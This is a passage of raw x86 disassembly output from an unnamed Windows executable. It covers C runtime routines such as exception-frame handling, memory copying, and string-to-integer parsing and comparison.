loc_40F25D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_40F266 ; --------------------------------------------------------------------------- loc_40F25D: ; CODE XREF: sub_40F1BA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_40F266: ; CODE XREF: sub_40F1BA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_40F1BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; DATA XREF: sub_40F1BA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_40F291 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_40F2DE ; --------------------------------------------------------------------------- loc_40F291: ; CODE XREF: sub_40F26E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_413710 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_40F2CF push [ebp+arg_0] push [ebp+arg_4] call sub_40F0BC loc_40F2CF: ; CODE XREF: sub_40F26E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_40F2DE: ; CODE XREF: sub_40F26E+21j pop edi pop esi pop ebx pop ebp retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2E3 proc near ; CODE XREF: sub_4137AB+C6p ; sub_413952+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_40F33A loc_40F301: ; CODE XREF: sub_40F2E3+52j cmp esi, 0FFFFFFFFh jnz short loc_40F30B call sub_413FB2 loc_40F30B: ; CODE XREF: sub_40F2E3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_40F320 cmp ecx, [eax+8] jle short loc_40F325 loc_40F320: ; CODE XREF: sub_40F2E3+36j cmp esi, 0FFFFFFFFh jnz short loc_40F331 loc_40F325: ; CODE XREF: sub_40F2E3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_40F331: ; CODE XREF: sub_40F2E3+40j cmp [ebp+arg_4], 0 jge short loc_40F301 mov eax, [ebp+var_4] loc_40F33A: ; CODE XREF: sub_40F2E3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_40F34E cmp esi, eax jbe short loc_40F353 loc_40F34E: ; CODE XREF: sub_40F2E3+65j call sub_413FB2 loc_40F353: ; CODE XREF: sub_40F2E3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_40F2E3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F360 proc near ; CODE XREF: sub_416728+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_40F378 push [ebp+arg_0] call sub_419A48 ; RtlUnwind loc_40F378: ; DATA XREF: sub_40F360+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40F360 endp ; =============== S U B R O U T I N E ======================================= sub_40F380 proc near ; DATA XREF: sub_40F3A2+Ao ; sub_40F40A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40F3A1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40F3A1: ; CODE XREF: sub_40F380+10j retn sub_40F380 endp ; =============== S U B R O U T I N E ======================================= sub_40F3A2 proc near ; CODE XREF: sub_413C2C+Dp ; sub_416728+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_40F380 push large dword ptr fs:0 mov large fs:0, esp loc_40F3BF: ; CODE XREF: sub_40F3A2:loc_40F3FAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40F3FC cmp esi, [esp+1Ch+arg_4] jz short loc_40F3FC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40F3FA push 101h mov eax, [ebx+esi*4+8] call sub_40F436 call dword ptr [ebx+esi*4+8] loc_40F3FA: ; CODE XREF: sub_40F3A2+44j jmp short loc_40F3BF ; --------------------------------------------------------------------------- loc_40F3FC: ; CODE XREF: sub_40F3A2+2Aj ; sub_40F3A2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_40F3A2 endp ; =============== S U B R O U T I N E ======================================= sub_40F40A proc near ; CODE XREF: sub_413C4C+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_40F380 jnz short locret_40F42C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40F42C mov eax, 1 locret_40F42C: ; CODE XREF: sub_40F40A+10j ; sub_40F40A+1Bj retn sub_40F40A endp ; =============== S U B R O U T I N E ======================================= sub_40F42D proc near ; CODE XREF: sub_413F10+1Ep ; sub_413F10+40p push ebx push ecx mov ebx, offset dword_42206C jmp short loc_40F440 sub_40F42D endp ; =============== S U B R O U T I N E ======================================= sub_40F436 proc near ; CODE XREF: sub_40F3A2+4Fp ; sub_416728+78p push ebx push ecx mov ebx, offset dword_42206C mov ecx, [ebp+8] loc_40F440: ; CODE XREF: sub_40F42D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_40F436 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40F450 proc near ; CODE XREF: sub_401FA5+5p ; sub_402147+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_40F450 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F46F proc near ; CODE XREF: sub_4025DA+26p ; .packed:004197D2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40ECAF pop ecx retn sub_40F46F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F480 proc near ; CODE XREF: sub_40264B+3Ap ; sub_41181A+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40F4A0 cmp edi, eax jb loc_40F618 loc_40F4A0: ; CODE XREF: sub_40F480+16j test edi, 3 jnz short loc_40F4BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40F4DC rep movsd jmp off_40F5C8[edx*4] ; --------------------------------------------------------------------------- loc_40F4BC: ; CODE XREF: sub_40F480+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40F4D4 and eax, 3 add ecx, eax jmp dword ptr loc_40F4DC+4[eax*4] ; --------------------------------------------------------------------------- loc_40F4D4: ; CODE XREF: sub_40F480+46j jmp dword ptr loc_40F5D8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40F4DC: ; CODE XREF: sub_40F480+31j ; sub_40F480+8Ej ... jmp off_40F55C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40F4F0 dd offset loc_40F51C dd offset loc_40F540 ; --------------------------------------------------------------------------- loc_40F4F0: ; DATA XREF: sub_40F480+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40F4DC rep movsd jmp off_40F5C8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40F51C: ; DATA XREF: sub_40F480+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40F4DC rep movsd jmp off_40F5C8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40F540: ; DATA XREF: sub_40F480+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40F4DC rep movsd jmp off_40F5C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40F55C dd offset loc_40F5BF ; DATA XREF: sub_40F480:loc_40F4DCr dd offset loc_40F5AC dd offset loc_40F5A4 dd offset loc_40F59C dd offset loc_40F594 dd offset loc_40F58C dd offset loc_40F584 dd offset loc_40F57C ; --------------------------------------------------------------------------- loc_40F57C: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40F584: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40F58C: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40F594: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40F59C: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40F5A4: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40F5AC: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40F5BF: ; CODE XREF: sub_40F480:loc_40F4DCj ; DATA XREF: sub_40F480:off_40F55Co jmp off_40F5C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40F5C8 dd offset loc_40F5D8 ; DATA XREF: sub_40F480+35r ; sub_40F480+92r ... dd offset loc_40F5E0 dd offset loc_40F5EC dd offset loc_40F600 ; --------------------------------------------------------------------------- loc_40F5D8: ; CODE XREF: sub_40F480+35j ; sub_40F480+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40F5E0: ; CODE XREF: sub_40F480+35j ; sub_40F480+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40F5EC: ; CODE XREF: sub_40F480+35j ; sub_40F480+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40F600: ; CODE XREF: sub_40F480+35j ; sub_40F480+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40F618: ; CODE XREF: sub_40F480+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40F64C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40F640 std rep movsd cld jmp off_40F760[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40F640: ; CODE XREF: sub_40F480+1B1j ; sub_40F480+208j ... neg ecx jmp off_40F710[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40F64C: ; CODE XREF: sub_40F480+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40F664 and eax, 3 sub ecx, eax jmp dword ptr loc_40F664+4[eax*4] ; --------------------------------------------------------------------------- loc_40F664: ; CODE XREF: sub_40F480+1D6j ; DATA XREF: sub_40F480+1DDr jmp off_40F760[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40F677+1 dd offset loc_40F698 ; --------------------------------------------------------------------------- sal dh, 40h loc_40F677: ; DATA XREF: sub_40F480+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40F640 std rep movsd cld jmp off_40F760[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40F698: ; DATA XREF: sub_40F480+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40F640 std rep movsd cld jmp off_40F760[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40F640 std rep movsd cld jmp off_40F760[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40F714 dd offset loc_40F71C dd offset loc_40F724 dd offset loc_40F72C dd offset loc_40F734 dd offset loc_40F73C dd offset loc_40F744 off_40F710 dd offset loc_40F757 ; DATA XREF: sub_40F480+1C2r ; --------------------------------------------------------------------------- loc_40F714: ; DATA XREF: sub_40F480+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40F71C: ; DATA XREF: sub_40F480+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40F724: ; DATA XREF: sub_40F480+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40F72C: ; DATA XREF: sub_40F480+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40F734: ; DATA XREF: sub_40F480+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40F73C: ; DATA XREF: sub_40F480+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40F744: ; DATA XREF: sub_40F480+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40F757: ; CODE XREF: sub_40F480+1C2j ; DATA XREF: sub_40F480:off_40F710o jmp off_40F760[edx*4] ; --------------------------------------------------------------------------- align 10h off_40F760 dd offset loc_40F770 ; DATA XREF: sub_40F480+1B7r ; sub_40F480:loc_40F664r ... dd offset loc_40F778 dd offset loc_40F788 dd offset loc_40F79C ; --------------------------------------------------------------------------- loc_40F770: ; CODE XREF: sub_40F480+1B7j ; sub_40F480:loc_40F664j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40F778: ; CODE XREF: sub_40F480+1B7j ; sub_40F480:loc_40F664j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40F788: ; CODE XREF: sub_40F480+1B7j ; sub_40F480:loc_40F664j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40F79C: ; CODE XREF: sub_40F480+1B7j ; sub_40F480:loc_40F664j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40F480 endp ; =============== S U B R O U T I N E ======================================= sub_40F7B5 proc near ; CODE XREF: sub_4026B2+34p ; sub_4026B2+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_40E894 pop ecx pop ecx retn sub_40F7B5 endp ; =============== S U B R O U T I N E ======================================= sub_40F7C3 proc near ; CODE XREF: sub_40F830+4p arg_0 = dword ptr 4 push esi push dword_4BB8F8 call sub_4142A8 mov edx, dword_4BB8F8 pop ecx mov ecx, dword_4BB8F4 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_40F822 push edx call sub_4142A8 add eax, 10h push eax push dword_4BB8F8 call sub_414008 add esp, 0Ch test eax, eax jnz short loc_40F805 retn ; --------------------------------------------------------------------------- loc_40F805: ; CODE XREF: sub_40F7C3+3Fj mov ecx, dword_4BB8F4 sub ecx, dword_4BB8F8 mov dword_4BB8F8, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4BB8F4, ecx loc_40F822: ; CODE XREF: sub_40F7C3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4BB8F4, 4 retn sub_40F7C3 endp ; =============== S U B R O U T I N E ======================================= sub_40F830 proc near ; CODE XREF: sub_40279F+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_40F7C3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_40F830 endp ; =============== S U B R O U T I N E ======================================= sub_40F842 proc near ; DATA XREF: .packed:0041C010o push 80h call sub_40E882 test eax, eax pop ecx mov dword_4BB8F8, eax jnz short loc_40F863 push 18h call sub_410C52 mov eax, dword_4BB8F8 pop ecx loc_40F863: ; CODE XREF: sub_40F842+12j and dword ptr [eax], 0 mov eax, dword_4BB8F8 mov dword_4BB8F4, eax retn sub_40F842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F871 proc near ; CODE XREF: .packed:00402A7Ep ; sub_402C55+258p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_40E730 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_414309 add esp, 10h leave retn sub_40F871 endp ; =============== S U B R O U T I N E ======================================= sub_40F8A5 proc near ; CODE XREF: sub_411602+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40F8BC add esp, 10h retn sub_40F8A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8BC proc near ; CODE XREF: sub_40F8A5+Ep ; sub_40FAC4+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_40F8D4: ; CODE XREF: sub_40F8BC+46j cmp dword_424430, 1 jle short loc_40F8EC movzx eax, bl push 8 push eax call sub_414E86 pop ecx pop ecx jmp short loc_40F8FB ; --------------------------------------------------------------------------- loc_40F8EC: ; CODE XREF: sub_40F8BC+1Fj mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_40F8FB: ; CODE XREF: sub_40F8BC+2Ej test eax, eax jz short loc_40F904 mov bl, [esi] inc esi jmp short loc_40F8D4 ; --------------------------------------------------------------------------- loc_40F904: ; CODE XREF: sub_40F8BC+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_40F912 or [ebp+arg_C], 2 jmp short loc_40F917 ; --------------------------------------------------------------------------- loc_40F912: ; CODE XREF: sub_40F8BC+4Ej cmp bl, 2Bh jnz short loc_40F91D loc_40F917: ; CODE XREF: sub_40F8BC+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_40F91D: ; CODE XREF: sub_40F8BC+59j mov eax, [ebp+arg_8] test eax, eax jl loc_40FAB4 cmp eax, 1 jz loc_40FAB4 cmp eax, 24h jg loc_40FAB4 push 10h test eax, eax pop ecx jnz short loc_40F965 cmp bl, 30h jz short loc_40F94F mov [ebp+arg_8], 0Ah jmp short loc_40F981 ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40F8BC+88j mov al, [esi] cmp al, 78h jz short loc_40F962 cmp al, 58h jz short loc_40F962 mov [ebp+arg_8], 8 jmp short loc_40F981 ; --------------------------------------------------------------------------- loc_40F962: ; CODE XREF: sub_40F8BC+97j ; sub_40F8BC+9Bj mov [ebp+arg_8], ecx loc_40F965: ; CODE XREF: sub_40F8BC+83j cmp [ebp+arg_8], ecx jnz short loc_40F981 cmp bl, 30h jnz short loc_40F981 mov al, [esi] cmp al, 78h jz short loc_40F979 cmp al, 58h jnz short loc_40F981 loc_40F979: ; CODE XREF: sub_40F8BC+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_40F981: ; CODE XREF: sub_40F8BC+91j ; sub_40F8BC+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_40F991: ; CODE XREF: sub_40F8BC+16Cj cmp dword_424430, 1 movzx esi, bl jle short loc_40F9A9 push 4 push esi call sub_414E86 pop ecx pop ecx jmp short loc_40F9B4 ; --------------------------------------------------------------------------- loc_40F9A9: ; CODE XREF: sub_40F8BC+DFj mov eax, off_424224 mov al, [eax+esi*2] and eax, 4 loc_40F9B4: ; CODE XREF: sub_40F8BC+EBj test eax, eax jz short loc_40F9C0 movsx ecx, bl sub ecx, 30h jmp short loc_40F9F2 ; --------------------------------------------------------------------------- loc_40F9C0: ; CODE XREF: sub_40F8BC+FAj cmp dword_424430, 1 jle short loc_40F9D4 push edi push esi call sub_414E86 pop ecx pop ecx jmp short loc_40F9DF ; --------------------------------------------------------------------------- loc_40F9D4: ; CODE XREF: sub_40F8BC+10Bj mov eax, off_424224 mov ax, [eax+esi*2] and eax, edi loc_40F9DF: ; CODE XREF: sub_40F8BC+116j test eax, eax jz short loc_40FA2D movsx eax, bl push eax call sub_414DBA pop ecx mov ecx, eax sub ecx, 37h loc_40F9F2: ; CODE XREF: sub_40F8BC+102j cmp ecx, [ebp+arg_8] jnb short loc_40FA2D mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_40FA17 jnz short loc_40FA11 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_40FA17 loc_40FA11: ; CODE XREF: sub_40F8BC+147j or [ebp+arg_C], 4 jmp short loc_40FA20 ; --------------------------------------------------------------------------- loc_40FA17: ; CODE XREF: sub_40F8BC+145j ; sub_40F8BC+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_40FA20: ; CODE XREF: sub_40F8BC+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_40F991 ; --------------------------------------------------------------------------- loc_40FA2D: ; CODE XREF: sub_40F8BC+125j ; sub_40F8BC+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_40FA4B test edx, edx jz short loc_40FA45 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40FA45: ; CODE XREF: sub_40F8BC+181j and [ebp+var_8], 0 jmp short loc_40FA98 ; --------------------------------------------------------------------------- loc_40FA4B: ; CODE XREF: sub_40F8BC+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_40FA71 test cl, 1 jnz short loc_40FA98 and ecx, 2 jz short loc_40FA68 cmp [ebp+var_8], 80000000h ja short loc_40FA71 loc_40FA68: ; CODE XREF: sub_40F8BC+1A1j test ecx, ecx jnz short loc_40FA98 cmp [ebp+var_8], eax jbe short loc_40FA98 loc_40FA71: ; CODE XREF: sub_40F8BC+197j ; sub_40F8BC+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4BA284, 22h jz short loc_40FA87 or [ebp+var_8], 0FFFFFFFFh jmp short loc_40FA98 ; --------------------------------------------------------------------------- loc_40FA87: ; CODE XREF: sub_40F8BC+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_40FA98: ; CODE XREF: sub_40F8BC+18Dj ; sub_40F8BC+19Cj ... test edx, edx jz short loc_40FAA1 mov eax, [ebp+var_4] mov [edx], eax loc_40FAA1: ; CODE XREF: sub_40F8BC+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_40FAAF mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_40FAAF: ; CODE XREF: sub_40F8BC+1E9j mov eax, [ebp+var_8] jmp short loc_40FABF ; --------------------------------------------------------------------------- loc_40FAB4: ; CODE XREF: sub_40F8BC+66j ; sub_40F8BC+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_40FABD mov [eax], edi loc_40FABD: ; CODE XREF: sub_40F8BC+1FDj xor eax, eax loc_40FABF: ; CODE XREF: sub_40F8BC+1F6j pop edi pop esi pop ebx leave retn sub_40F8BC endp ; =============== S U B R O U T I N E ======================================= sub_40FAC4 proc near ; CODE XREF: sub_402C55+4B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40F8BC add esp, 10h retn sub_40FAC4 endp ; =============== S U B R O U T I N E ======================================= sub_40FADB proc near ; CODE XREF: sub_40FB66+4p ; sub_417AF5+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_40FAE3: ; CODE XREF: sub_40FADB+34j cmp dword_424430, 1 jle short loc_40FAFB movzx eax, byte ptr [edi] push 8 push eax call sub_414E86 pop ecx pop ecx jmp short loc_40FB0A ; --------------------------------------------------------------------------- loc_40FAFB: ; CODE XREF: sub_40FADB+Fj movzx eax, byte ptr [edi] mov ecx, off_424224 mov al, [ecx+eax*2] and eax, 8 loc_40FB0A: ; CODE XREF: sub_40FADB+1Ej test eax, eax jz short loc_40FB11 inc edi jmp short loc_40FAE3 ; --------------------------------------------------------------------------- loc_40FB11: ; CODE XREF: sub_40FADB+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_40FB21 cmp esi, 2Bh jnz short loc_40FB25 loc_40FB21: ; CODE XREF: sub_40FADB+3Fj movzx esi, byte ptr [edi] inc edi loc_40FB25: ; CODE XREF: sub_40FADB+44j xor ebx, ebx loc_40FB27: ; CODE XREF: sub_40FADB+7Bj cmp dword_424430, 1 jle short loc_40FB3C push 4 push esi call sub_414E86 pop ecx pop ecx jmp short loc_40FB47 ; --------------------------------------------------------------------------- loc_40FB3C: ; CODE XREF: sub_40FADB+53j mov eax, off_424224 mov al, [eax+esi*2] and eax, 4 loc_40FB47: ; CODE XREF: sub_40FADB+5Fj test eax, eax jz short loc_40FB58 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_40FB27 ; --------------------------------------------------------------------------- loc_40FB58: ; CODE XREF: sub_40FADB+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_40FB61 neg eax loc_40FB61: ; CODE XREF: sub_40FADB+82j pop edi pop esi pop ebp pop ebx retn sub_40FADB endp ; =============== S U B R O U T I N E ======================================= sub_40FB66 proc near ; CODE XREF: sub_402C55+468p ; sub_402C55+477p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40FADB pop ecx retn sub_40FB66 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40FB80 proc near ; CODE XREF: sub_402C55+269p ; sub_402C55+28Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40FBCC loc_40FB90: ; CODE XREF: sub_40FB80+3Cj ; sub_40FB80+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_40FBC4 or al, al jz short loc_40FBC0 cmp ah, [ecx+1] jnz short loc_40FBC4 or ah, ah jz short loc_40FBC0 shr eax, 10h cmp al, [ecx+2] jnz short loc_40FBC4 or al, al jz short loc_40FBC0 cmp ah, [ecx+3] jnz short loc_40FBC4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40FB90 mov edi, edi loc_40FBC0: ; CODE XREF: sub_40FB80+18j ; sub_40FB80+21j ... xor eax, eax retn ; 